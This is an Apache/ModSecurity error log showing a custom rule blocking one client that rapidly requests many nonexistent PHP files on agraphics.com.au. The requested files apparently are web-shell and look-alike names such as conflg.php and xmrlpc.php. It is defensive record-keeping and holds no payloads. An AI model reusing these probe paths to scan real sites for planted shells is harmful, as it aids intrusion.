[Sun Dec 14 04:22:46.526896 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13072] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aT3LFk1fX_pB_BrvE_5eRAAAAIg"]
[Sun Dec 14 04:22:46.888151 2025] [:error] [pid 39525:tid 39597] [client 20.89.218.172:24761] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aT3LFk1fX_pB_BrvE_5eRQAAAI4"]
[Sun Dec 14 04:22:47.383602 2025] [:error] [pid 39523:tid 39549] [client 20.89.218.172:13299] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conflg.php"] [unique_id "aT3LFzQTQH1raAj2lkgSNAAAABU"]
[Sun Dec 14 04:22:47.645596 2025] [:error] [pid 39524:tid 39568] [client 20.89.218.172:13190] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conflg.php"] [unique_id "aT3LF2rVGpbDzFtDE9P2vwAAAEw"]
[Sun Dec 14 04:22:47.946365 2025] [:error] [pid 39525:tid 39607] [client 20.89.218.172:13104] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conflg.php"] [unique_id "aT3LF01fX_pB_BrvE_5eRwAAAJg"]
[Sun Dec 14 04:22:48.276244 2025] [:error] [pid 39525:tid 39601] [client 20.89.218.172:13235] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/conflg.php"] [unique_id "aT3LGE1fX_pB_BrvE_5eSwAAAJI"]
[Sun Dec 14 04:22:48.594178 2025] [:error] [pid 39614:tid 39630] [client 20.89.218.172:13182] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aT3LGPxybG8-9MflbDduwAAAAM4"]
[Sun Dec 14 04:22:48.915363 2025] [:error] [pid 39614:tid 39623] [client 20.89.218.172:13196] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aT3LGPxybG8-9MflbDduwgAAAMc"]
[Sun Dec 14 04:22:49.212754 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:13222] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aT3LGTQTQH1raAj2lkgSPgAAABc"]
[Sun Dec 14 04:22:49.555345 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:13109] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmrlpc.php"] [unique_id "aT3LGWrVGpbDzFtDE9P2wQAAAEE"]
[Sun Dec 14 04:22:49.864309 2025] [:error] [pid 39523:tid 39541] [client 20.89.218.172:13177] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asas.php"] [unique_id "aT3LGTQTQH1raAj2lkgSQwAAAA0"]
[Sun Dec 14 04:22:50.223649 2025] [:error] [pid 39523:tid 39547] [client 20.89.218.172:12993] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asas.php"] [unique_id "aT3LGjQTQH1raAj2lkgSRwAAABM"]
[Sun Dec 14 04:22:50.510965 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13242] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asas.php"] [unique_id "aT3LGjQTQH1raAj2lkgSSgAAAAk"]
[Sun Dec 14 04:22:50.847726 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13237] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asas.php"] [unique_id "aT3LGjQTQH1raAj2lkgSTAAAAAA"]
[Sun Dec 14 04:22:51.227434 2025] [:error] [pid 39525:tid 39603] [client 20.89.218.172:13296] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT3LG01fX_pB_BrvE_5eTgAAAJQ"]
[Sun Dec 14 04:22:51.528508 2025] [:error] [pid 39523:tid 39543] [client 20.89.218.172:13292] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT3LGzQTQH1raAj2lkgSUAAAAA8"]
[Sun Dec 14 04:22:51.891260 2025] [:error] [pid 39614:tid 39637] [client 20.89.218.172:13108] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT3LG_xybG8-9MflbDdu1wAAANU"]
[Sun Dec 14 04:22:52.384949 2025] [:error] [pid 39614:tid 39620] [client 20.89.218.172:13215] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT3LHPxybG8-9MflbDdu2gAAAMQ"]
[Sun Dec 14 04:22:52.761566 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13180] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aT3LHDQTQH1raAj2lkgSVQAAABY"]
[Sun Dec 14 04:22:53.231899 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13121] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aT3LHU1fX_pB_BrvE_5eVAAAAIg"]
[Sun Dec 14 04:22:53.545377 2025] [:error] [pid 39525:tid 39592] [client 20.89.218.172:13266] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aT3LHU1fX_pB_BrvE_5eVgAAAIk"]
[Sun Dec 14 04:22:53.798461 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13107] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aT3LHTQTQH1raAj2lkgSWAAAABA"]
[Sun Dec 14 04:22:54.093939 2025] [proxy_fcgi:error] [pid 39524:tid 39570] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.218894 2025] [proxy_fcgi:error] [pid 39524:tid 39562] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.361757 2025] [proxy_fcgi:error] [pid 39524:tid 39573] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.486171 2025] [proxy_fcgi:error] [pid 39524:tid 39574] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.657167 2025] [proxy_fcgi:error] [pid 39524:tid 39571] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.784081 2025] [proxy_fcgi:error] [pid 39524:tid 39576] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:54.908149 2025] [proxy_fcgi:error] [pid 39524:tid 39572] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:55.032560 2025] [proxy_fcgi:error] [pid 39524:tid 39577] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:55.156028 2025] [proxy_fcgi:error] [pid 39524:tid 39579] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:55.293820 2025] [proxy_fcgi:error] [pid 39524:tid 39560] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:55.421853 2025] [proxy_fcgi:error] [pid 39524:tid 39566] [client 20.89.218.172:13238] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:22:55.572726 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13238] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aT3LH2rVGpbDzFtDE9P2zgAAAFM"]
[Sun Dec 14 04:22:56.433780 2025] [:error] [pid 39614:tid 39636] [client 20.89.218.172:13102] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aT3LIPxybG8-9MflbDdu5gAAANQ"]
[Sun Dec 14 04:22:56.943990 2025] [:error] [pid 39524:tid 39563] [client 20.89.218.172:13014] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aT3LIGrVGpbDzFtDE9P20QAAAEc"]
[Sun Dec 14 04:22:57.320991 2025] [:error] [pid 39524:tid 39559] [client 20.89.218.172:13101] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aT3LIWrVGpbDzFtDE9P20wAAAEM"]
[Sun Dec 14 04:22:57.618362 2025] [:error] [pid 39525:tid 39589] [client 20.89.218.172:13168] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aT3LIU1fX_pB_BrvE_5eXwAAAIY"]
[Sun Dec 14 04:22:57.948771 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:13046] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aT3LIWrVGpbDzFtDE9P21gAAAEE"]
[Sun Dec 14 04:22:58.201265 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13173] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aT3LImrVGpbDzFtDE9P22AAAAFg"]
[Sun Dec 14 04:22:58.648248 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13276] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aT3LIvxybG8-9MflbDdu6gAAANY"]
[Sun Dec 14 04:22:58.964207 2025] [:error] [pid 39524:tid 39562] [client 20.89.218.172:13064] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aT3LImrVGpbDzFtDE9P22gAAAEY"]
[Sun Dec 14 04:22:59.271097 2025] [:error] [pid 39523:tid 39530] [client 20.89.218.172:13160] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aT3LIzQTQH1raAj2lkgSYwAAAAI"]
[Sun Dec 14 04:22:59.635057 2025] [:error] [pid 39525:tid 39597] [client 20.89.218.172:13118] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aT3LI01fX_pB_BrvE_5eYAAAAI4"]
[Sun Dec 14 04:23:00.035136 2025] [:error] [pid 39525:tid 39592] [client 20.89.218.172:13167] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aT3LJE1fX_pB_BrvE_5eYwAAAIk"]
[Sun Dec 14 04:23:00.339304 2025] [:error] [pid 39525:tid 39607] [client 20.89.218.172:13141] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aT3LJE1fX_pB_BrvE_5eZQAAAJg"]
[Sun Dec 14 04:23:00.643338 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:13161] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aT3LJE1fX_pB_BrvE_5eZwAAAIE"]
[Sun Dec 14 04:23:00.912375 2025] [:error] [pid 39523:tid 39534] [client 20.89.218.172:13140] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aT3LJDQTQH1raAj2lkgSZAAAAAY"]
[Sun Dec 14 04:23:01.169611 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13114] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aT3LJWrVGpbDzFtDE9P24QAAAFM"]
[Sun Dec 14 04:23:01.473540 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:13131] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aT3LJfxybG8-9MflbDdu9gAAANM"]
[Sun Dec 14 04:23:01.911000 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13152] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aT3LJTQTQH1raAj2lkgSawAAABY"]
[Sun Dec 14 04:23:02.373264 2025] [:error] [pid 39524:tid 39565] [client 20.89.218.172:13147] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aT3LJmrVGpbDzFtDE9P26AAAAEk"]
[Sun Dec 14 04:23:02.690350 2025] [:error] [pid 39523:tid 39548] [client 20.89.218.172:13082] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aT3LJjQTQH1raAj2lkgSbQAAABQ"]
[Sun Dec 14 04:23:03.007977 2025] [:error] [pid 39614:tid 39627] [client 20.89.218.172:13135] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aT3LJ_xybG8-9MflbDdu_QAAAMs"]
[Sun Dec 14 04:23:03.308410 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13148] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aT3LJzQTQH1raAj2lkgScAAAABA"]
[Sun Dec 14 04:23:03.693734 2025] [:error] [pid 39614:tid 39634] [client 20.89.218.172:13179] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aT3LJ_xybG8-9MflbDdvAgAAANI"]
[Sun Dec 14 04:23:04.002788 2025] [:error] [pid 39614:tid 39619] [client 20.89.218.172:13103] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aT3LKPxybG8-9MflbDdvBAAAAMM"]
[Sun Dec 14 04:23:04.421380 2025] [:error] [pid 39614:tid 39629] [client 20.89.218.172:13286] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aT3LKPxybG8-9MflbDdvCAAAAM0"]
[Sun Dec 14 04:23:04.742923 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:13197] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aT3LKPxybG8-9MflbDdvCwAAANM"]
[Sun Dec 14 04:23:05.099471 2025] [:error] [pid 39524:tid 39578] [client 20.89.218.172:13074] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aT3LKWrVGpbDzFtDE9P26gAAAFY"]
[Sun Dec 14 04:23:05.415274 2025] [:error] [pid 39614:tid 39637] [client 20.89.218.172:13094] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aT3LKfxybG8-9MflbDdvDgAAANU"]
[Sun Dec 14 04:23:05.764262 2025] [:error] [pid 39524:tid 39561] [client 20.89.218.172:13057] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aT3LKWrVGpbDzFtDE9P27AAAAEU"]
[Sun Dec 14 04:23:06.224012 2025] [:error] [pid 39523:tid 39543] [client 20.89.218.172:12994] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aT3LKjQTQH1raAj2lkgSdwAAAA8"]
[Sun Dec 14 04:23:06.679709 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13070] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c.php"] [unique_id "aT3LKvxybG8-9MflbDdvEgAAAMg"]
